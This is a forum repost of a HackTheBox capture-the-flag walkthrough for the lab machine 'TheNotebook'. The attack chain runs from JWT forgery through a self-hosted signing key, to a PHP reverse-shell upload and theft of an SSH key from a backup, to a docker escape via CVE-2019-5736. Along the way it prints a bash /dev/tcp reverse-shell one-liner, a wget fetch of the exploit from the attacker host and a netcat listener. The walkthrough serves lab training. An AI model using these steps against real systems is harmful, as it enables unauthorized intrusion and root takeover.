• We just launched and are currently in beta. Join us as we build and grow the community.

TheNotebook HackTheBox Walkthrough

Aye

Active member
Administrator
A Rep
0
0
0
Rep
0
A Vouches
0
0
0
Vouches
0
Posts
1,330
Likes
2
8 YEARS
8 YEARS OF SERVICE
LEVEL 5 7300 XP
We’ll look at another one of HackTheBox machines today, called “TheNotebook.” It is a medium difficulty box targeting the commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We’d own the root user by targeting it. Here is the methodology.

Penetration Testing Methodology

Recon

  • Nmap
  • JWT cookie analysis

Exploitation

  • Forging the JWT token with admin rights and self-generated private key
  • Uploading a PHP backdoor

Privilege Escalation

  • Recovering SSH private key from an old backup directory
  • Enumerating sudoers
  • Exploiting vulnerable version of docker (CVE-2019-5736)
  • Gaining root access

Recon

Machine’s IP was 10.129.211.197. The first step was to run nmap’s aggressive scan to look for open ports. As you can see a port 80 was found to be open.

Code:
nmap -A  10.129.211.197

AVvXsEhxStGsjlqoMdg-fqQAmSSYabLKUUB9WK0xjmsnCcz4Olhw2YiFzSgatbKkR5xOP_nrszkGgwv8HwCkODldvhGafKXbu1VuEQH5r2jD9dmeM_3tdWq8mx6AkfTD4AyBjOK29y1jsozULsC75S92ZNEvnXnKX1hOBIkHxzFyWfWNA9QYQyAbHvOjkMrxoQ=s16000


The website opens up a note management tool. There was a register link too.

AVvXsEh9II0XWiAF2nB9FN6YK_KuzG8cloMPpkRy1UgKBHjxGocYSu8TN-rmBExFlYxspAWynwElrM1prwz4aus4Yo8OpwHZ8Y2NzbhUs5KCSqypVvFiJHYBfyJ4vtbykdz_8f9fxOBnp0PnnZk_j4O7jSPzUCWbTVLbUofCpVZHgEDkxmiAShDqsNJ6-jKiBQ=s16000


After registering, we observed that a Base64 encoded token was being transferred on our request of signing up. It would be interesting to see what data was getting transferred.

AVvXsEg3DRjo7QpBZmTa_ipXzYoTpGJrF7S20TbNTfQJPnhAaEWYAynZzpDx6hZvGoDj7kbQYNMrpHJyvcrRlAYa_zZh4v8S1EwWXWm5ewt-Mp4GGHQCgbiyndujlPOhSx1dymqQ6cdNzH10YltwwkOAjF89wP8jydsRCbM_XeOdy2HEB_Z5zL8ywMjVZ2LF3g=s16000


We decoded the Base64 and got to know it was a JWT token.

AVvXsEjauKy8x3om8f_ZnZKWKGqYzhrM3b2baWZHfxxOTpNNzTGKllN3SmFasz6osZQcJLbewxjk1-CpdPJS-IRaftKwJnJgShFrRwijbmsgos-iua8eS77Csy2qdoMJbCuMw0trR3vZnNXEMnvXooNhreqFFtQxiDzjEj6TzMKlrCcHdKHmoMD355VbIc8gzA=s16000


We have often extracted critical information out of JWT token misconfigurations. We used jwt.io for the purpose. As you can see that the header picks a “Key ID” or “kid” from a remote location. This is a private key that is used as an authentication method by clients to authenticate to the authorization server when using the token endpoint. Also, there is an “admin_cap” variable that shows if admin access is provided to the user or not.

AVvXsEiDOLFVJ9vaIuA97RhE65fhb-uN9d76pLsHySLZ2qlCxkbCAImX6tjzR9R57Cot--BIoKEHlkwPhgXRvqBiNtm4SlaiA1O1GzK-od50QSbibnVAtDalg5YX3ClykB3F0MYpOWEIJVh5uNgV8SVoO6MgedtcqtualoyU4dkL1Zyk2tm751eBFKS-K9mnZA=s16000


Exploitation

So, we’ll generate a private key, host it on our local server, and change the JWT header to my own key’s location and try if the website fetches and authenticates using our key.

Code:
openssl genrsa -out privKey.key 2048
python -m SimpleHTTPServer 80

AVvXsEiKERiNvpDJYi_lkt_ByiJjfSgLcDTk4f31yDqOV-xI5NycZ2Y5VPDStdO1s7owotkJQl8bczUrzbFbiETOBafn9hY-M7xqrs0B-pANDBQr3l3i3zm2FW0oS01eRW0HGJYuyRMR-Dq9ujfMwtluCI23UdUzADJrHxjhjT3vqy5VyKJMyg37fPBgfsvvFw=s16000


We’d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.

Look how we’ve changed the location of the key, admin_cap is set to true and pasted the key below. Note the colour-coding to comprehend how the JWT token is made.

AVvXsEjofcwslLCm9ZlGOfJkAR1Z7ikUqf1Hh8Z4PiKPLbcVUZmgdKMpjEc8u9KSnJto3Yt5Rb62UC83tYLUO-x2ASlRXn4l9vpGTWd8G-5E1hdRqikltWMta0YeWL4gzN4Utm7uGJxT9v7bE3d-3pIcD_ovYmuNiiuINcYZkpiP4AOqpyVoAFS2oGYXkM3j9g=s16000


Now, after being logged in using the username and password we used to sign up, this newly generated token should be replaced in the auth cookie and the site reloaded. After doing this, we see the admin panel now visible on the nav bar.

AVvXsEiMqsByEE-27_GBugCf4fsmlYd_9MqEcqdESbF6UyuvXIpJef15jxTdTbD3FkQrXP5jkp0nrMpItFDb6NjrQPMAAaZ2kdbne71t2cMJaC7I8qzvyaJXOfc1MlQzag3FoDBMAtrngDJwvu-XKJJBt3yNcrC8U5ocNAv1kKnYoX1Q9obVSinAx8tnIBHJNg=s16000


The admin panel has an upload file option.

AVvXsEjF9Vf49vugvtjDbwJrSGY_DYtUtgnK1-F2J89JXo4VKB6p4PHqHsZVldYn87PgE0TxXekqO4NBDw2Esl4D6xpL2F67m-0UHMuxr1TRlVfFJIi9RbXSvohCWTUeZkcT3ZcBcGxqD9qB33aVGJgr00WLwbuiRxJC4LrsQEBOIcFJSVrCEVmTl2sArSglJg=s16000


So we uploaded a php-reverse-shell from the /usr/share/webshells/php directory in Kali and changed the location with our local IP.

AVvXsEiGkdoJcz9ciRTK19dbi7EGuU8dz_UA5fRjcGpadQJzucvjbWaQKkwHfHY68x7XqxPl0D2JAn6aAIypF0lPWok54zNU6A4HS_WREf6iE8B1skQeAHDLFrDuYQZpOx-V4RZAIKpUw5E_CgrHgdWeBagZdxRVUALSz-aJsNug_cgj6-zgCUDoULjwiolWZQ=s16000


To make things easy, site provided us with a link to view the uploaded file too.

AVvXsEgWuPBFgacRf2h4pB7Rxm1_12ExMZQQduYY-QdUXYmDfDrZOvCE1oPKu2QWssyn57oMK1xrybxIdX096zSpdG6APLfy-mAhiBC6pz_l7Sxdzz5By9Pa8hTPFLGcpY84Wn_LkCbamtKk1PmmWGk9Wj8-_0d-OZCX07gE3y2_nCPer-KKhlWCVnrV1rMEKg=s16000


Privilege Escalation

Before opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.

Code:
python3 -c 'import pty;pty.spawn("/bin/bash")'

In the var/backups directory, we saw home.tar.gz which was an old account backup.

AVvXsEhOPFU80z7gBG-9h_uqzfdTZXVkBNZZngWMcmX54HSHqhHbfSijXWD0GRK9ZKRJ41BvusGsTnU2Zh-d4w475LhXsb1Auod0GFa6JmFyvrVuBSVcDMoa-NPFaBMYp1isv7Rx0ue3ZaCXNpM5yUtiS6ZbdzBKVJdRgpZKKrReTAdPKjM9BAyJ6jNvhQn4Hw=s16000


We copy this into the temp directory and unzip it. We observed that the user is “noah” and has a dump of his home directory.

Code:
cp home.tar.gz /tmp/
tar cvzf home.tar.gz

smart thing to do here is done dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.

Code:
cat /home/noah/.ssh/id_rsa

AVvXsEjwvANJPXv5FTFtiBAId3w59eLHbuKT_wrARKzdUTKZ2CVLCy0dVv4LyQuhw5IHceMZKDCs4_lDQfZqlWSgodwswH4PLVusDnxLbXlahquCzL3nqS5kiMyVG_v45v8xuDqvJG9mfKPTueVbsDaxFQhB61ZRYGVqzaKz7jy2pRaT6uMfDpvUik2-YKcu5g=s16000


We changed the permission on the key to “600” and logged in to noah’s account using it.

Code:
nano sshkey
chmod 600 sshkey
ssh -i sshkey [email protected]

The user flag was in /home.

We immediately check the sudoers list because it’s the most direct way of modelling the privilege escalation approach.

We found that noah was allowed to run the “docker exec” command as root.

We enumerated docker’s version first.

Code:
sudo -l
docker version

AVvXsEjTJIozJU9Pj9tS2nTnTw2oI1D-d3_VRGOIIhgEDSPoVcjJsNKF4SuCEvPvI0VG60ZORFUVhJaerrhDTDVxezF08A9eFt_xv6MjwlU0aQb4fZ7f8ZqB-kZBwN3gqLUOGuyW7cdDVXBMEuLocISocyaNv_3Mz8ny3E2o1JtUtscj4z7tqcxwTfp7d2AEVg=s16000


We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker escape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.

So, what we did was copy the exploit, modify it, upload it and execute it.

Code:
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd CVE-2019-5736
nano main.go

Here, we’ll modify the variable “payload” with this bash one-liner

Code:
bash -i >& /dev/tcp/10.10.14.100/9999 0>&1

And then we save this

AVvXsEgJ3GYLE4_NHyd8nhMkaz29QnFdk--AsfREHGeXhcvfWI-8e30zFHTzvAgKRXx82RNlP_1odK3Lgq0q7gqdhXJWofzQ7aynhcGzrbAm9wZBU3LRZnR-18xXJyCV1gW0-GRWPwP-_9hIsYcYArYUobYVUynnUFbE85hn3k71xmD1nChC7gVbg7S_hMX4Eg=s16000


We need to compile this script into an executable and then launch our local server to upload it to the machine.

Code:
go build main.go
python -m SimpleHTTPServer 80

AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000


In the machine, we first jumped into the container using docker exec command.

Code:
sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash

After that, we’ll copy the exploit in /tmp and execute it

Code:
cd /tmp
wget 10.10.14.100/main
chmod 777 main
./main

AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000


Now, we’ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary “sh” has been overwritten by our exploit and it would run the “payload” that we defined in our exploit.

Also, make sure to fire up a netcat listener on port 9999.

Code:
sudo /usr/bin/docker exec -it webapp-dev01 sh

AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000


We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!

Code:
nc -lvp 9999
cd /root
cat root.txt

We snagged the flag in /root directory

AVvXsEhg7wwKb84dZFRaEFscEBMBpiAgVlvSN0B-9mYIlcd-ORHxsEzCNCQ-j4fC_hr5WCZy_VR7g-gOpJQoZcqBSFVeB7PIgDPjDIb-ffAh_Yu5H4hN0isg2g7RbSVJ9puxR_j2dFE3UfpG0W5HG4a1btNADe_nVbBFooDef2zcZu-K9td3ZP7AEDACf1qerg=s16000


Conclusion

Hence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
 

452,496

327,345

327,353

Top